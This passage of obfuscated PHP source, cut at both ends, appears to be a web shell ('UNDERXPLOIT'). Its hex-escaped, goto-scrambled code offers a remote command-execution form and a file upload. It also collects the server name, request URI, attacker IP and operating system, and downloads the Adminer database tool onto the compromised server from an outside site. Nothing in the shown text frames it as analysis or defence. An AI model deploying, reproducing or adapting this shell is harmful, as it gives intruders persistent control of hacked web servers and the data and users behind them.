$_SERVER["\123\105\122\x56\x45\x52\x5f\x4e\x41\x4d\x45"] . '' . $_SERVER["\x52\105\121\x55\x45\x53\x54\137\125\x52\111"] . "\x20\55\40\111\x50\x20\x45\170\143\165\x74\151\156\147\x3a\40{$ip_remote}\40\55\x20\124\x69\x6d\145\x3a\40{$time_shell}"; goto PafL_; PTfas: @set_time_limit(0); goto DUuVP; MLFuV: $_UNDERXPLOIT = array_map("\x78\160", $_UNDERXPLOIT); goto K_NZz; xZ9I_: print "\x3c\x73\143\x72\x69\160\164\x20\x74\x79\160\145\x3d\42\164\145\x78\164\x2f\x6a\x61\x76\x61\x73\143\162\x69\160\164\42\x3e\40\146\165\156\143\164\151\x6f\156\x20\165\x70\x6c\157\141\x64\x28\51\173\12\x9\x69\146\x28\144\x6f\143\x75\155\x65\x6e\x74\x2e\147\x65\164\x45\154\145\155\x65\156\164\102\x79\111\x64\50\x22\165\160\42\x29\x2e\166\141\x6c\x75\x65\40\x3d\75\40\42\x22\51\173"; goto sXEo3; MomEi: $scdir = explode("\x2f", $dir); goto oIMDs; E6N3w: @define("\x78\x39", "\x3c\144\x69\166\40\143\x6c\x61\x73\x73\x3d\47\x63\157\114\55\157\x70\x74\x69\x6f\x6e\40\164\x6f\x70\x27\x3e\74\x62\162\x3e\74\x62\162\76\74\x62\162\x3e\74\x63\x65\x6e\164\x65\x72\76\74\151\40\143\154\x61\x73\x73\x3d\47\x7a\155\144\x69\x20\x7a\x6d\144\151\55\x61\x6c\145\162\164\55\143\x69\162\143\x6c\x65\55\x6f\40\172\155\144\x69\x2d\x68\x63\x2d\146\167\40\172\x6d\144\151\55\x68\x63\55\x34\x78\47\x3e\x3c\x2f\151\x3e\x3c\x62\x72\x3e\x3c\x62\162\x3e\x5b\40\x42\101\104\40\122\105\x51\125\x45\123\124\x20\x5d\74\x2f\143\x65\x6e\164\145\x72\x3e\74\x62\162\x3e\74\x62\x72\x3e\74\x62\162\76\x3c\142\x72\x3e\74\x2f\144\151\166\76\x3c\x2f\x64\151\166\76", true); goto tnDK6; yB4Ow: print "\162\145\164\x75\x72\156\x20\146\141\x6c\x73\145\x3b\12\x9\175\40\144\x6f\143\x75\155\x65\x6e\x74\56\x67\145\164\x45\154\145\x6d\145\156\164\x42\x79\111\x64\x28\x22\145\x78\x63\42\x29\x2e\x73\165\142\155\x69\164\50\51\x3b\12\175\40\x3c\x2f\x73\143\162\x69\160\x74\x3e\12\74\164\x61\142\x6c\x65\40\163\164\171\x6c\145\x3d\42\155\141\162\147\x69\x6e\55\x74\157\160\72\x31\65\160\170\x22\76\74\x66\x6f\x72\x6d\x20\155\145\164\x68\x6f\x64\75\x22\120\117\x53\x54\42\x20\x61\x63\x74\151\x6f\x6e\x3d\42\77" . x7 . "\143\x6d\x64\46" . x5 . $dir . "\42\76\xa\x9\x3c\164\144\x20\141\154\151\x67\x6e\75\42\x63\x65\x6e\164\x65\162\x22\x20\x73\x74\171\154\145\75\42\x77\x69\x64\164\150\72\61\60\x25\x22\76\x3c\151\40\x63\x6c\141\x73\x73\x3d\x22\172\155\144\x69\40\x7a\x6d\144\151\55\x63\x68\x65\x76\162\x6f\x6e\55\162\x69\x67\150\164\x20\x7a\155\144\x69\x2d\150\x63\55\146\x77\x22\76\x3c\x2f\151\76\x3c\57\164\144\76\12\x9\x3c\x74\144\40\x73\164\171\x6c\145\75\x22\x77\151\x64\x74\x68\x3a\67\x30\45\x22\x3e\x3c\x69\x6e\x70\x75\x74\40\164\171\160\145\x3d\42\164\145\x78\x74\42\x20\160\x6c\141\143\145\150\157\x6c\144\145\162\75\x22\44\42\40\156\x61\155\145\x3d\x22\143\x6d\144\42\40\151\x64\x3d\42\143\156\x73\x6c\x22\x3e\x3c\x2f\164\x64\x3e\74\x74\x64\x20\163\164\171\154\x65\75\x22\167\151\144\164\150\72\62\x30\45\73\x74\145\170\x74\x2d\x61\154\151\147\x6e\x3a\x72\151\x67\x68\x74\x22\x3e\x3c\142\x75\x74\x74\157\x6e\x20\x74\x79\160\145\75\42\x73\165\142\155\151\164\42\x20\x63\154\x61\163\x73\x3d\42\142\164\156\55\x65\x78\x65\42\x20\151\144\x3d\x22\x65\x78\x63\x22\x20\x6f\x6e\x63\154\x69\x63\153\75\x22\x67\166\50\x29\x3b\x72\145\164\x75\162\156\x20\x66\x61\x6c\163\x65\x3b\x22\76\x3c\151\x20\x63\x6c\x61\163\x73\x3d\x22\x7a\x6d\x64\x69\40\172\x6d\144\x69\x2d\154\x6f\x6e\147\55\141\x72\162\x6f\167\x2d\x72\x65\164\x75\x72\x6e\40\x7a\155\x64\151\x2d\150\143\55\146\167\42\x3e\x3c\57\x69\76\74\x2f\142\165\164\x74\157\156\76\74\x2f\x66\157\162\155\x3e\74\57\x74\144\x3e\12\11\74\x2f\x74\141\x62\x6c\x65\x3e\xa\74\57\x64\x69\x76\x3e\12\12\74\144\x69\x76\x20\143\154\141\163\163\x3d\x22\x63\157\122\55\160\141\x6e\x65\154\x20\x74\157\x70\42\76\x3c\164\141\142\x6c\x65\x3e\74\164\144\x20\143\154\141\x73\163\75\42\x74\x64\55\160\x61\x6e\x65\x6c\42\76\x3c\x63\145\x6e\164\145\162\x3e\x3c\144\x69\x76\40\x63\154\x61\x73\x73\75\x22\154\x6f\x61\x64\x65\x72\42\76\74\57\x64\x69\x76\76\74\x2f\143\145\x6e\x74\x65\x72\76\74\57\164\x64\x3e\74\x74\x64\40\143\x6c\141\163\163\x3d\42\164\144\55\x70\x61\x6e\x65\x6c\55\x72\x69\147\150\164\42\x3e\115\x45\116\125\x3c\57\164\x64\76\74\57\164\141\142\x6c\x65\x3e\74\57\x64\151\x76\x3e"; goto NWXJB; TSd7b: $EL_MuHaMMeD .= "\x53\145\x72\x76\145\162\x20\151\163\154\145\x74\x69\x6d\x20\163\x69\x73\x74\145\155\x69\40\72\x20" . $_SERVER["\x53\x45\x52\126\105\x52\x5f\x53\117\106\124\x57\x41\122\x45"] . "\15\12"; goto ZVq1H; DUuVP: @clearstatcache(); goto HDQEU; LJMhL: switch ($_UNDERXPLOIT["\x6f\160"]) { case "\x31": switch (true) { case op("\x61\144\x6d\151\x6e\145\162\x2e\160\150\x70", "\150\164\x74\x70\x73\72\57\57\167\x77\x77\56\141\x64\155\151\x6e\x65\x72\56\157\162\x67\57\x73\164\141\164\x69\x63\57\x64\157\167\156\x6c\157\141\144\57\x34\x2e\x33\56\61\57\141\x64\155\151\x6e\x65\162\x2d\x34\x2e\63\x2e\x31\56\x70\x68\x70"): mtr("\x3f" . x5 . $dir); bacot("\106\151\154\x65\40\143\x72\x65\141\x74\x65\x64\40\x73\x75\x63\143\x65\163\x73\x66\x75\154\x6c\x79"); break; default: bacot("\106\141\x69\x6c\x65\144\x20\x74\157\x20\x63\162\x65\141\x74\145\40\x66\x69\x6c\x65"); } } goto R9Rks; R9Rks: print "\x3c\144\151\166\40\143\154\x61\163\x73\x3d\x22\164\157\x6f\x6c\x73\55\x63\157\156\164\x65\x6e\164\40\x74\157\x70\x22\x20\163\164\171\154\x65\x3d\x22\x70\141\144\x64\151\x6e\x67\72\65\x70\x78\42\x3e"; goto sqNVX; oIMDs: function cl($str) { $qos = strtolower(ini_get("\x6d\x61\147\151\x63\x5f\x71\x75\x6f\x74\145\x73\137\163\x79\x62\x61\x73\x65")); switch (true) { case function_exists("\147\x65\x74\137\155\141\x67\151\143\137\x71\165\x6f\164\x65\163\137\x67\x70\x63") && get_magic_quotes_gpc(): case is_array($str): foreach ($str as $k => $v) { switch (true) { case is_array($v): $str[$k] = cl($v); break; default: $str[$k] = empty($qos) || $qos === "\x6f\146\146" ? stripslashes($v) : stripslashes(str_replace("\x5c\47\134\x27", "\134\x27", $v)); } } break; } return $str; } goto OBRCV; LnDl7: print "\74\163\x63\x72\x69\x70\164\x20\x74\171\160\x65\75\42\164\145\170\164\57\152\x61\x76\x61\163\x63\x72\x69\x70\x74\42\x3e\12\x9\x76\141\162\40\x70\x4a\123\x20\75\40\x66\x75\156\143\x74\151\x6f\156\50\x74\141\147\x5f\x69\x64\54\40\160\141\162\x61\155\x73\51\40\x7b\xa\x20\40\x20\40\166\x61\x72\40\143\141\156\166\141\163\x5f\145\x6c\x20\x3d\x20\x64\x6f\143\165\x6d\145\x6e\x74\x2e\161\x75\145\162\171\x53\145\154\145\x63\x74\157\162\x28\47\x23\x27\x20\x2b\40\164\x61\x67\x5f\x69\144\x20\x2b\40\x27\40\x3e\40\56\x70\x61\x72\x74\151\143\154\145\163\x2d\152\x73\x2d\x63\x61\x6e\x76\x61\163\x2d\x65\x6c\47\51\73\12\x20\40\40\x20\x74\150\x69\x73\56\x70\112\x53\40\x3d\40\173\12\x20\40\x20\x20\40\x20\x20\40\x63\141\x6e\x76\x61\163\x3a\40\173\12\40\x20\40\40\40\40\x20\40\40\x20\x20\40\x65\x6c\x3a\40\x63\x61\156\x76\x61\x73\137\x65\154\54\xa\40\40\40\40\40\40\x20\40\40\x20\40\x20\x77\x3a\40\143\141\x6e\x76\x61\x73\137\x65\154\56\157\146\146\x73\x65\164\x57\151\144\x74\150\x2c\12\40\x20\40\x20\x20\40\x20\40\40\x20\x20\x20\x68\72\x20\143\141\x6e\166\141\x73\137\145\154\x2e\x6f\x66\146\163\x65\164\x48\145\x69\x67\x68\x74\12\40\40\x20\40\40\x20\x20\40\175\x2c\12\x20\40\x20\x20\40\x20\40\40\x70\141\x72\x74\x69\x63\x6c\145\x73\x3a\x20\x7b\12\40\x20\40\40\40\x20\x20\x20\40\40\40\x20\156\x75\155\142\145\x72\72\40\173\xa\40\40\40\40\40\x20\x20\x20\x20\40\40\x20\x20\x20\x20\40\166\141\x6c\x75\x65\72\40\64\60\x30\54\xa\40\40\x20\x20\x20\40\x20\x20\x20\x20\x20\40\40\x20\40\x20\x64\145\156\x73\151\x74\x79\72\40\173\12\40\40\40\40\x20\40\x20\40\40\x20\40\x20\x20\40\40\40\x20\x20\x20\40\145\x6e\x61\x62\x6c\x65\x3a\x20\x21\x30\54\12\x20\x20\x20\40\x20\x20\40\40\x20\x20\x20\40\40\x20\40\40\x20\40\40\40\166\141\154\165\x65\137\141\162\x65\141\x3a\x20\x38\60\x30\12\40\40\x20\x20\40\x20\40\x20\40\x20\x20\x20\x20\40\x20\x20\x7d\12\40\x20\40\40\40\x20\x20\x20\40\40\x20\40\175\x2c\12\40\x20\x20\x20\x20\x20\x20\x20\x20\40\40\40\143\157\154\x6f\162\72\40\x7b\xa\40\x20\40\40\x20\x20\x20\x20\40\x20\x20\x20\40\40\x20\x20\x76\141\x6c\165\145\72\x20\47\x23\146\146\146\47\12\40\x20\40\x20\x20\40\40\40\x20\40\x20\40\x7d\x2c\xa\x20\40\x20\x20\x20\40\x20\40\x20\x20\x20\40\x73\150\141\x70\x65\72\x20\x7b\12\x20\40\40\40\x20\40\40\40\x20\x20\40\40\40\x20\40\x20\x74\171\x70\x65\72\x20\x27\x63\151\162\143\x6c\x65\47\54\xa\40\x20\x20\x20\40\x20\40\40\x20\40\40\x20\x20\x20\x20\40\x73\x74\x72\x6f\153\145\72\x20\173\12\40\40\x20\40\40\x20\40\x20\x20\40\40\40\40\x20\40\40\x20\x20\x20\40\x77\151\x64\x74\150\72\x20\60\54\12\40\40\40\x20\40\x20\40\40\40\40\x20\40\40\x20\40\40\x20\40\x20\40\x63\x6f\154\157\162\x3a\x20\x27\43\146\x66\x30\60\x30\60\x27\xa\40\x20\40\x20\x20\x20\x20\40\40\x20\x20\x20\40\40\x20\x20\175\54\xa\40\x20\40\x20\x20\x20\x20\x20\40\40\40\40\40\x20\40\40\160\x6f\x6c\171\147\x6f\156\72\x20\x7b\xa\40\40\x20\40\40\40\40\40\40\40\40\40\40\40\x20\x20\40\40\40\40\x6e\142\x5f\163\151\144\145\x73\72\40\x35\xa\40\x20\x20\x20\40\40\40\x20\x20\x20\x20\x20\x20\40\x20\40\175\54\12\x20\x20\40\40\40\40\x20\x20\x20\40\40\40\40\x20\40\x20\151\x6d\x61\x67\145\72\40\x7b\12\x20\x20\40\x20\40\x20\x20\40\40\x20\x20\x20\x20\x20\x20\40\x20\40\x20\x20\x73\x72\143\72\x20\x27\x27\54\xa\x20\40\40\40\40\x20\x20\40\x20\40\40\40\40\x20\40\x20\40\x20\x20\40\167\151\144\164\150\x3a\40\61\x30\x30\x2c\12\x20\40\x20\40\40\x20\x20\40\40\x20\x20\x20\x20\40\40\40\x20\x20\40\40\x68\x65\151\147\150\x74\x3a\40\x31\x30\60\xa\40\40\x20\40\x20\x20\40\x20\40\x20\40\x20\x20\x20\40\40\x7d\12\40\x20\x20\40\x20\40\x20\40\x20\40\x20\x20\175\x2c\12\x20\x20\40\40\40\40\40\x20\x20\40\x20\x20\x6f\x70\141\143\151\164\171\72\40\x7b\xa\x20\40\x20\x20\x20\40\x20\40\x20\x20\40\x20\x20\40\40\40\x76\x61\154\165\x65\72\40\x31\x2c\xa\40\40\40\40\x20\40\x20\40\x20\40\x20\x20\x20\40\40\x20\162\141\x6e\x64\x6f\155\x3a\x20\x21\x31\x2c\xa\40\x20\40\x20\40\x20\40\40\x20\40\40\x20\x20\40\40\x20\x61\156\151\x6d\x3a\x20\173\12\x20\x20\x20\40\40\x20\x20\40\40\x20\x20\40\x20\x20\x20\x20\x20\x20\40\40\145\156\141\142\x6c\x65\x3a\x20\41\61\54\xa\40\x20\40\x20\40\x20\40\x20\x20\40\40\40\40\40\x20\40\40\x20\x20\40\x73\160\145\x65\x64\x3a\40\x32\54\12\40\40\40\x20\40\x20\40\x20\x20\40\x20\x20\x20\x20\40\x20\40\x20\40\x20\x6f\160\141\143\151\164\x79\137\x6d\x69\x6e\x3a\x20\60\x2c\12\40\40\40\x20\40\x20\x20\40\x20\40\40\40\40\x20\x20\x20\x20\x20\40\40\163\x79\x6e\x63\72\x20\41\x31\xa\40\x20\x20\40\x20\x20\40\x20\x20\x20\40\x20\x20\x20\40\40\175\12\x20\40\40\x20\x20\x20\x20\x20\x20\x20\40\x20\175\54\xa\x20\x20\x20\40\x20\x20\x20\40\40\40\40\x20\163\151\172\145\72\40\173\xa\x20\x20\x20\x20\40\x20\x20\x20\x20\40\x20\x20\40\40\40\x20\166\x61\154\165\145\72\40\x32\60\x2c\12\40\x20\x20\x20\40\40\x20\40\40\x20\40\x20\x20\40\x20\40\162\141\156\144\157\155\x3a\40\41\61\x2c\12\40\40\x20\40\40\40\x20\x20\x20\40\40\40\40\40\x20\40\x61\x6e\x69\x6d\x3a\x20\x7b\xa\40\40\x20\x20\x20\x20\40\40\40\x20\40\40\40\40\40\x20\x20\x20\40\x20\x65\x6e\x61\x62\x6c\x65\72\x20\41\x31\54\12\40\40\x20\40\40\40\x20\40\40\x20\40\40\x20\x20\x20\40\40\x20\40\x20\163\x70\145\x65\x64\72\x20\62\60\54\xa\x20\x20\40\40\40\x20\x20\x20\40\40\x20\40\40\x20\40\40\40\x20\x20\x20\x73\151\x7a\145\137\155\x69\x6e\x3a\40\x30\x2c\12\x20\40\40\x20\x20\x20\x20\x20\40\x20\40\40\x20\x20\40\40\x20\40\40\40\x73\x79\x6e\143\72\40\41\61\12\x20\x20\x20\x20\40\40\40\40\40\x20\40\40\40\40\40\40\175\12\x20\x20\40\x20\40\x20\40\40\x20\x20\40\40\175\x2c\xa\40\x20\x20\x20\40\x20\x20\x20\40\x20\x20\40\154\x69\156\145\137\x6c\151\156\153\x65\x64\72\x20\x7b\xa\x20\40\40\x20\40\40\40\40\x20\x20\40\40\x20\x20\40\40\145\156\141\142\154\145\x3a\x20\x21\60\54\12\x20\40\x20\40\40\x20\40\x20\40\40\40\40\x20\40\40\40\x64\151\163\x74\141\x6e\x63\145\x3a\x20\61\x30\x30\x2c\12\x20\x20\x20\40\40\x20\x20\40\40\40\x20\40\x20\40\x20\x20\x63\157\154\157\x72\72\x20\47\43\146\146\146\47\54\12\40\x20\40\40\40\40\40\40\40\x20\40\x20\x20\40\40\x20\157\160\x61\143\151\x74\171\72\x20\61\x2c\xa\x20\40\x20\40\40\40\40\x20\x20\x20\x20\x20\x20\40\x20\x20\x77\x69\x64\164\150\72\x20\61\12\40\40\x20\40\40\40\40\x20\40\x20\40\x20\x7d\x2c\12\x20\40\40\40\x20\x20\x20\40\40\40\x20\40\x6d\157\166\x65\x3a\40\173\12\x20\40\x20\x20\40\x20\x20\x20\40\x20\40\40\x20\x20\40\40\145\156\x61\x62\x6c\x65\72\40\x21\x30\x2c\12\40\40\x20\40\x20\x20\40\x20\40\x20\x20\40\40\40\40\40\x73\x70\145\145\x64\x3a\x20\x32\x2c\12\x20\40\x20\40\40\40\x20\40\40\40\x20\x20\x20\40\40\x20\x64\151\x72\145\143\x74\151\157\156\72\x20\47\156\x6f\x6e\x65\x27\54\xa\x20\40\40\40\40\x20\x20\x20\40\40\40\x20\40\x20\x20\x20\162\141\x6e\144\157\155\x3a\x20\x21\x31\x2c\xa\40\40\x20\40\x20\x20\x20\x20\40\40\40\40\40\40\40\40\x73\164\162\x61\x69\x67\x68\164\x3a\40\x21\x31\54\xa\x20\40\x20\40\x20\40\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\157\x75\x74\137\155\x6f\x64\145\72\40\x27\157\165\x74\47\54\xa\40\40\40\x20\x20\40\x20\40\40\x20\40\40\x20\x20\40\x20\x62\157\x75\156\x63\145\x3a\x20\41\61\x2c\xa\40\x20\40\x20\x20\x20\x20\x20\40\40\x20\x20\x20\40\40\40\141\x74\164\x72\x61\143\164\72\x20\173\xa\40\40\40\x20\40\40\x20\40\x20\40\40\40\40\40\40\40\x20\40\40\x20\145\x6e\141\142\x6c\145\72\40\x21\61\54\12\40\x20\x20\40\40\40\x20\x20\40\x20\x20\40\x20\x20\x20\x20\x20\x20\40\x20\x72\x6f\164\x61\164\145\x58\72\40\x33\60\60\x30\54\xa\x20\x20\x20\40\40\40\x20\x20\40\40\x20\40\40\40\40\x20\40\40\40\x20\x72\x6f\164\x61\164\145\131\x3a\x20\x33\60\x30\x30\xa\x20\40\x20\40\40\x20\40\40\x20\x20\40\40\40\x20\40\40\175\12\40\x20\40\40\x20\x20\40\40\40\x20\x20\40\175\54\xa\x20\x20\40\40\40\x20\x20\40\40\40\x20\x20\x61\x72\x72\x61\171\72\40\133\x5d\xa\x20\x20\40\40\x20\x20\x20\x20\x7d\54\12\x20\40\x20\40\x20\40\40\40\151\x6e\164\145\x72\141\x63\164\151\x76\x69\x74\171\x3a\40\173\12\40\40\40\x20\x20\40\40\40\x20\x20\x20\x20\x64\x65\164\145\143\x74\137\x6f\x6e\72\40\47\143\x61\156\x76\141\163\x27\54\12\x20\x20\40\40\40\x20\40\x20\40\x20\40\x20\145\166\x65\x6e\x74\163\x3a\40\173\xa\40\40\x20\x20\40\40\x20\40\x20\40\x20\40\x20\40\x20\40\157\156\x68\157\x76\x65\162\72\40\x7b\12\x20\40\40\40\40\x20\40\x20\40\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\40\145\x6e\x61\142\154\x65\72\40\41\x30\x2c\12\x20\40\x20\x20\40\x20\40\x20\40\40\40\x20\x20\40\40\40\x20\40\40\x20\x6d\157\144\x65\72\40\47\x67\162\141\142\x27\12\x20\40\x20\x20\40\x20\40\x20\x20\x20\x20\40\x20\40\40\40\x7d\x2c\12\x20\x20\x20\40\40\x20\40\x20\40\x20\x20\40\x20\40\x20\x20\157\156\143\154\x69\143\x6b\x3a\x20\x7b\12\x20\x20\x20\40\x20\x20\x20\x20\x20\x20\x20\x20\40\40\40\x20\x20\40\40\x20\x65\156\141\x62\x6c\x65\72\x20\x21\60\54\xa\40\x20\x20\x20\x20\x20\40\x20\40\x20\x20\x20\x20\40\x20\x20\x20\40\40\x20\155\157\x64\145\72\40\x27\x70\x75\x73\x68\47\xa\40\40\40\40\x20\x20\x20\40\x20\40\x20\40\x20\40\x20\x20\x7d\54\12\40\40\40\40\40\x20\x20\x20\x20\40\40\40\x20\x20\40\40\x72\x65\x73\x69\x7a\x65\72\40\41\60\xa\40\x20\40\x20\40\x20\40\x20\40\40\x20\40\175\54\12\x20\40\40\x20\x20\x20\40\40\x20\x20\x20\x20\x6d\157\144\x65\163\72\40\173\12\x20\x20\40\x20\x20\40\40\40\x20\x20\x20\40\40\x20\x20\40\147\162\x61\x62\x3a\40\x7b\xa\x20\x20\40\x20\x20\x20\x20\40\40\x20\x20\x20\x20\x20\x20\x20\x20\40\40\40\144\x69\x73\x74\141\156\x63\x65\x3a\x20\61\60\60\54\xa\40\x20\x20\40\40\40\x20\x20\x20\40\x20\x20\x20\40\40\40\40\40\40\x20\154\x69\156\145\x5f\154\x69\x6e\x6b\x65\144\x3a\40\173\12\40\40\x20\40\40\x20\x20\x20\x20\40\x20\x20\40\x20\x20\40\40\x20\40\40\x20\40\40\x20\157\160\x61\x63\151\164\171\x3a\40\61\xa\40\x20\40\40\40\40\x20\x20\x20\x20\40\x20\40\x20\x20\x20\40\40\x20\40\175\12\x20\40\40\40\40\40\40\x20\x20\40\40\x20\40\40\x20\40\x7d\54\xa\x20\x20\40\40\x20\40\40\x20\40\x20\40\40\x20\x20\40\x20\x62\x75\x62\x62\x6c\x65\72\40\173\12\x20\40\x20\x20\x20\40\40\x20\40\x20\40\40\x20\40\40\40\40\x20\40\40\x64\151\163\164\141\x6e\x63\x65\72\x20\x32\60\60\54\12\x20\x20\40\40\x20\x20\x20\40\x20\x20\40\x20\x20\x20\x20\40\x20\40\40\40\163\x69\x7a\x65\x3a\40\x38\x30\x2c\12\40\x20\x20\x20\40\40\x20\x20\x20\x20\40\x20\40\40\x20\40\40\x20\40\40\144\165\x72\141\x74\151\157\156\x3a\x20\x30\x2e\64\xa\40\40\40\x20\40\40\40\40\40\x20\x20\40\x20\40\40\x20\175\x2c\xa\40\40\x20\x20\x20\x20\40\40\x20\40\40\40\40\40\40\x20\x72\x65\x70\165\x6c\163\x65\x3a\40\173\12\40\x20\40\40\x20\40\40\x20\40\x20\x20\40\40\40\40\x20\40\40\x20\40\144\x69\x73\x74\141\x6e\143\x65\72\40\x32\60\x30\54\12\x20\40\x20\x20\x20\x20\40\x20\40\x20\x20\x20\x20\x20\x20\40\40\x20\x20\x20\x64\165\x72\141\164\x69\x6f\156\72\40\x30\56\64\xa\40\x20\x20\x20\x20\x20\40\40\x20\40\40\x20\40\40\40\40\x7d\x2c\xa\x20\40\x20\40\x20\x20\40\40\x20\x20\40\x20\x20\x20\40\40\x70\165\163\150\72\x20\173\12\40\x20\40\x20\x20\x20\x20\40\x20\40\x20\x20\40\40\40\40\40\40\x20\x20\x70\x61\x72\x74\x69\x63\x6c\x65\x73\137\156\142\72\x20\x34\12\40\40\x20\x20\40\x20\40\40\40\x20\x20\x20\40\40\x20\x20\175\54\12\x20\40\x20\40\40\40\40\40\x20\40\x20\40\x20\x20\x20\40\162\x65\x6d\157\x76\x65\72\x20\173\xa\40\x20\40\x20\40\x20\40\40\x20\x20\40\40\40\40\x20\40\x20\x20\40\x20\x70\x61\x72\164\x69\143\x6c\x65\x73\x5f\156\x62\x3a\40\62\12\40\40\40\40\x20\40\x20\x20\40\x20\x20\40\x20\40\40\x20\x7d\12\x20\x20\40\40\40\x20\40\40\40\40\40\x20\x7d\x2c\12\x20\40\x20\x20\x20\x20\40\40\x20\x20\40\40\x6d\x6f\x75\x73\x65\x3a\40\173\x7d\12\x20\40\x20\x20\40\x20\x20\x20\x7d\x2c\12\40\40\x20\40\x20\x20\40\x20\x72\145\x74\x69\x6e\141\137\x64\145\164\x65\143\164\x3a\40\x21\61\x2c\12\40\x20\x20\40\40\x20\40\40\x66\156\x3a\40\x7b\xa\x20\x20\x20\x20\40\x20\40\40\x20\40\40\x20\151\x6e\x74\x65\x72\141\x63\164\72\40\173\x7d\54\12\40\40\40\x20\x20\x20\40\x20\40\x20\40\x20\155\x6f\144\145\163\x3a\40\x7b\x7d\54\12\x20\x20\x20\x20\40\40\40\x20\x20\x20\40\40\x76\x65\156\144\x6f\x72\x73\x3a\40\173\x7d\12\40\x20\40\40\x20\40\40\x20\x7d\x2c\12\x20\x20\40\x20\40\40\x20\40\x74\x6d\160\x3a\x20\x7b\175\xa\x20\x20\40\40\x7d\x3b\xa\40\x20\x20\40\166\141\x72\x20\x70\x4a\123\40\75\40\x74\x68\x69\163\56\160\112\123\x3b\12\x20\x20\x20\x20\151\146\x20\50\160\x61\162\x61\x6d\163\51\40\x7b\xa\x20\40\40\x20\x20\x20\40\40\x4f\x62\152\x65\143\x74\x2e\x64\145\x65\160\x45\170\164\x65\156\144\x28\160\x4a\123\54\x20\160\141\162\x61\155\163\51\12\x20\40\40\x20\175\xa\40\x20\40\x20\160\112\123\56\164\x6d\x70\56\x6f\142\152\x20\x3d\x20\x7b\xa\x20\x20\x20\x20\40\40\x20\x20\x73\x69\x7a\x65\x5f\x76\x61\x6c\165\145\x3a\40\160\x4a\123\x2e\x70\x61\x72\x74\x69\x63\154\x65\163\x2e\x73\151\x7a\x65\x2e\x76\x61\x6c\165\x65\54\12\x20\40\x20\x20\40\x20\40\x20\x73\x69\x7a\x65\137\141\156\151\x6d\x5f\x73\x70\145\145\x64\x3a\x20\x70\112\x53\x2e\x70\x61\x72\x74\151\x63\x6c\145\x73\56\x73\x69\172\x65\56\141\156\151\155\56\163\x70\x65\145\x64\54\xa\x20\40\x20\40\x20\x20\x20\40\155\x6f\166\x65\x5f\163\160\x65\x65\x64\x3a\40\160\112\x53\56\160\141\162\x74\151\143\154\x65\163\56\155\x6f\x76\145\x2e\163\x70\x65\x65\x64\54\xa\x20\x20\40\x20\40\40\40\x20\154\151\156\x65\x5f\154\151\156\153\145\144\137\x64\151\x73\164\141\156\143\x65\72\40\160\x4a\x53\x2e\160\x61\162\164\x69\x63\x6c\145\163\56\154\x69\x6e\145\137\154\x69\156\x6b\x65\144\56\x64\151\x73\x74\x61\156\143\145\x2c\12\x20\x20\40\x20\x20\x20\x20\40\154\151\156\x65\137\154\x69\x6e\x6b\x65\144\x5f\167\x69\144\x74\x68\x3a\40\x70\x4a\123\56\x70\141\162\x74\x69\x63\154\x65\x73\x2e\x6c\x69\156\x65\x5f\x6c\x69\x6e\153\145\x64\x2e\167\151\144\164\x68\x2c\xa\40\x20\x20\40\40\x20\40\40\155\157\x64\x65\137\x67\162\x61\x62\x5f\x64\151\163\x74\x61\x6e\143\x65\72\40\x70\x4a\123\56\151\156\164\145\162\141\x63\164\x69\166\x69\164\x79\56\x6d\157\x64\x65\163\56\147\162\141\142\56\144\151\x73\x74\141\x6e\143\145\54\xa\x20\x20\x20\40\x20\x20\x20\x20\x6d\157\144\x65\x5f\x62\x75\142\142\154\145\137\144\x69\163\164\x61\x6e\x63\x65\x3a\x20\x70\x4a\x53\56\151\156\164\x65\x72\141\x63\x74\x69\x76\151\164\x79\x2e\x6d\x6f\x64\x65\x73\56\x62\165\x62\x62\154\145\x2e\144\151\x73\x74\x61\x6e\x63\x65\x2c\xa\x20\x20\x20\x20\40\x20\40\x20\x6d\157\144\145\137\142\165\142\142\x6c\x65\x5f\163\151\172\x65\x3a\x20\x70\112\x53\x2e\x69\156\164\x65\x72\x61\143\x74\151\x76\x69\164\171\x2e\x6d\x6f\x64\x65\163\56\x62\x75\142\142\x6c\x65\56\x73\151\172\x65\54\12\40\40\x20\40\x20\40\40\x20\155\157\x64\145\137\x72\x65\x70\165\154\x73\x65\x5f\144\x69\x73\x74\x61\156\143\x65\x3a\x20\160\x4a\x53\56\x69\x6e\164\x65\x72\141\143\164\151\166\151\164\x79\x2e\x6d\157\x64\x65\163\x2e\x72\145\160\x75\x6c\x73\x65\x2e\x64\151\163\164\141\156\x63\x65\xa\x20\40\x20\40\x7d\x3b\12\40\x20\40\40\x70\x4a\123\56\x66\x6e\x2e\x72\x65\164\x69\156\x61\x49\x6e\151\164\40\75\40\146\x75\156\x63\164\151\x6f\156\x28\x29\x20\173\12\x20\40\40\x20\x20\x20\40\40\151\x66\40\x28\160\x4a\123\x2e\162\x65\x74\151\156\x61\x5f\144\x65\164\x65\x63\164\x20\x26\46\x20\x77\151\156\144\x6f\x77\x2e\x64\x65\166\151\x63\x65\x50\151\x78\x65\154\122\x61\164\151\x6f\x20\76\x20\61\x29\x20\x7b\12\40\x20\x20\x20\x20\40\40\x20\x20\40\x20\x20\160\x4a\x53\x2e\x63\141\x6e\x76\x61\163\x2e\x70\x78\x72\141\164\151\x6f\40\75\40\167\x69\156\x64\x6f\167\56\x64\145\166\x69\143\145\120\x69\x78\145\154\122\141\x74\x69\157\x3b\12\40\x20\x20\40\40\40\40\x20\40\40\x20\40\x70\x4a\123\56\164\155\x70\56\x72\145\x74\151\156\x61\x20\75\x20\x21\60\xa\x20\40\40\x20\40\x20\x20\40\x7d\x20\x65\154\x73\x65\40\173\xa\x20\x20\40\x20\x20\40\40\x20\40\x20\x20\40\160\112\123\56\x63\x61\x6e\x76\141\163\56\160\170\x72\x61\164\151\157\40\75\40\x31\x3b\xa\x20\x20\x20\40\x20\x20\x20\x20\40\x20\40\40\x70\x4a\x53\x2e\164\155\160\56\x72\145\x74\x69\156\x61\x20\x3d\x20\41\61\12\x20\x20\40\40\40\x20\40\40\x7d\xa\x20\40\x20\x20\40\x20\40\x20\160\x4a\123\56\143\141\156\x76\x61\x73\56\167\40\75\40\x70\112\123\56\x63\141\x6e\166\141\x73\56\145\154\x2e\157\146\x66\x73\x65\164\x57\151\x64\x74\150\40\52\40\160\x4a\x53\56\143\x61\156\166\141\163\x2e\160\170\162\x61\x74\151\157\73\xa\x20\40\x20\x20\40\x20\x20\x20\160\x4a\x53\x2e\143\141\156\x76\141\x73\56\x68\x20\x3d\x20\160\x4a\123\56\143\x61\156\x76\141\x73\56\145\154\56\157\x66\x66\x